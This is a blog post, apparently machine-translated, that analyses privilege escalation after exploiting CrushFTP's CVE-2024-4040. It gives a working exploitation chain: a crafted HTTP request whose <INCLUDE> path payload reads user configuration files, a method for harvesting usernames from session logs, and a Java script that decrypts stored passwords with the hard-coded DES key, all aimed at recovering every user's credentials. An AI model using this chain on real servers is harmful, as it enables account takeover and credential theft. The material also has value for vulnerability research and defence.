in ,

Analysis of privilege escalation after CrushFTP (CVE-2024-4040)


write in front

The exploitation of this vulnerability was eventually exposed, and we will not repeat the analysis here. You can click to visit for details.CVE-2024-4040Learn the details of the vulnerability, which the author still uses when analyzing the exploit.sessions.objfile to read the history cookie and then try to escalate privileges, but I also mentioned in one of the earliest articles that such a file will only be generated when the program exits, which acts as a cache function of the server (CrushFTP Unauthenticated Remote Code Execution(CVE-2023-43177)), so its use is relatively more metaphysical and depends on fate. In actual combat, we often need more stable and direct ways to obtain the password of the admin account.

Later use

Get user profile path

I mentioned before that this system saves user configuration in XML files, as shown below

5b81ad47981f719af4429566fcd5058

Its relative path is in/users/MainUsersDown

In addition, in the vulnerability author's analysis, it was mentioned that you can use{working_dir}To get the absolute path of the project running

1
2
3
4
5
6
GET /WebInterface/function/?command=zip&c2f=rsC2&path={working_dir}&names=/bbb HTTP/1.1
Host: 127.0.0.1:8080
Cookie: CrushAuth=1714046327401_GY8KgRYG9W7GRoulsigqE3V2eKrsC2;
Content-Type: application/x-www-form-urlencoded


Therefore, combining the above two points, we can easily get the specific user configuration file.

path=<INCLUDE>{working_dir}users/MainUsers/username/user.XML</INCLUDE>

Of course, you can also use relative pathspath=<INCLUDE>./users/MainUsers/username/user.XML</INCLUDE>

So we just need to knowadminThe corresponding configuration file can be obtained by the user's username.

At the same time, through the content of the configuration file, we can see that the password is also encrypted and stored in this file.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?xml version="1.0" encoding="UTF-8"?>
<userfile type="properties">
<real_path_to_user>./users/MainUsers/y4tacker/</real_path_to_user>
<updated_time>1713866209446</updated_time>
<created_time>1713794508983</created_time>
<root_dir>/</root_dir>
<user_name>y4tacker</user_name>
<max_logins>0</max_logins>
<version>1.0</version>
<last_logins>04/25/2024 07:33:47 PM,04/25/2024 11:03:37 AM,04/25/2024 10:11:22 AM,04/25/2024 09:55:49 AM,04/24/2024 12:34:08 AM,04/24/2024 12:26:34 AM,04/23/2024 11:39:33 PM,04/23/2024 11:15:06 PM,04/23/2024 05:57:00 PM,04/23/2024 10:40:08 AM</last_logins>
<updated_by_username>crushadmin</updated_by_username>
<password>71W4Y3ZzpxXfeaU4fehf/w==</password>
<created_by_username>crushadmin</created_by_username>
<userVersion>6</userVersion>
<updated_by_email></updated_by_email>
<configure_reverse_share_events>true</configure_reverse_share_events>
<username>y4tacker</username>
</userfile>

At this time we will face another problem, although we know that there is acrushadminAdministrator, but what should we do if this account is deleted and changed to another name?

Another village with hidden flowers and bright willows

The solution is actually very simple. This system will save the user's information tologs/session_logsunder folder

Looking at the directory, we can easily find that the naming method is also very regular.24(年)04(月)25(日)20(时)

89a6483be54e5168e2e26e52dca4624

Looking at the next level directory, the naming method is fixed.session_HTTP_num.log

f37fb046164d26d8eb49677f3d94784

Let’s take a look at the specific content. It is not difficult to find that our user name and some operation information are recorded in detail in the log. At this time, the problem of user name is easily solved.

0d2874dcc03dcbd911779db4e810efb

Cracking encrypted passwords

We usey4tackerTake the user as an example. The encrypted password here is71W4Y3ZzpxXfeaU4fehf/w==

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?xml version="1.0" encoding="UTF-8"?>
<userfile type="properties">
<real_path_to_user>./users/MainUsers/y4tacker/</real_path_to_user>
<updated_time>1713866209446</updated_time>
<created_time>1713794508983</created_time>
<root_dir>/</root_dir>
<user_name>y4tacker</user_name>
<max_logins>0</max_logins>
<version>1.0</version>
<last_logins>04/25/2024 07:33:47 PM,04/25/2024 11:03:37 AM,04/25/2024 10:11:22 AM,04/25/2024 09:55:49 AM,04/24/2024 12:34:08 AM,04/24/2024 12:26:34 AM,04/23/2024 11:39:33 PM,04/23/2024 11:15:06 PM,04/23/2024 05:57:00 PM,04/23/2024 10:40:08 AM</last_logins>
<updated_by_username>crushadmin</updated_by_username>
<password>71W4Y3ZzpxXfeaU4fehf/w==</password>
<created_by_username>crushadmin</created_by_username>
<userVersion>6</userVersion>
<updated_by_email></updated_by_email>
<configure_reverse_share_events>true</configure_reverse_share_events>
<username>y4tacker</username>
</userfile>

Next we just need to see how the system handles decryption.

By looking at the login process and constantly searching for this shit mountain system, it is not difficult to finally find that the password decryption process is incrushftp.handlers.Common#decode_pass

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
# 以下仅仅列出关键代码
public String decode_pass(String raw) {
DesEncrypter crypt = new DesEncrypter(new String(com.crushftp.client.Common.encryption_password), base64Decode);
String s = crypt.decrypt(raw);
if (s == null) {
crypt = new DesEncrypter(new String(com.crushftp.client.Common.encryption_password), false);
s = crypt.decrypt(raw);
}

if (s == null) {
s = decode_pass3(raw);
}

return s;
}

........
DesEncrypter.class
........
public DesEncrypter(String key, boolean base64) {
try {
ServerStatus var10005 = ServerStatus.thisObj;
key = Common.getHash(key, base64, "SHA", "", "", ServerStatus.BG("sha3_keccak"));
this.doInit(key);
} catch (Exception var4) {
}

}

public void doInit(String key) throws Exception {
while((float)key.length() / 8.0F != (float)(key.length() / 8)) {
key = key + "Z";
}

DESKeySpec desKeySpec = new DESKeySpec(key.getBytes());
SecretKeyFactory keyFactory = SecretKeyFactory.getInstance("DES");
SecretKey secretKey = keyFactory.generateSecret(desKeySpec);
this.ecipher = Cipher.getInstance("DES");
this.dcipher = Cipher.getInstance("DES");
this.ecipher.init(1, secretKey);
this.dcipher.init(2, secretKey);
}

we can see thiscom.crushftp.client.Common.encryption_passwordIt is also hard-coded and stored in the program, so we can easily calculate this initialization key.

04f707cf2350fd43bd9454f13218df4

Simply write a decryption script

1
2
3
4
5
6
7
8
9
String  key = getHash("crushftp", true, "SHA", "", "", false);
Cipher dcipher = Cipher.getInstance("DES");
DESKeySpec desKeySpec = new DESKeySpec(key.getBytes());
SecretKeyFactory keyFactory = SecretKeyFactory.getInstance("DES");
SecretKey secretKey = keyFactory.generateSecret(desKeySpec);
dcipher.init(2,secretKey);
byte() dec = Base64.decode("71W4Y3ZzpxXfeaU4fehf/w==");
byte() utf8 = dcipher.doFinal(dec);
System.out.println(new String(utf8));

After running, the password is successfully obtained:y4tacker

91a73add24b0c5dbe75f11b6d382b94

Therefore, we can extract all user names by traversing the log, and then read the decrypted password to obtain the user name and password login of all users.

What do you think?

Leave a Reply

Your email address will not be published. Required fields are marked *

GIPHY App Key not set. Please check settings

Analysis of binary vulnerability CVE-2024-27284 under Rust

A brief analysis of CrushFTP’s VFS escape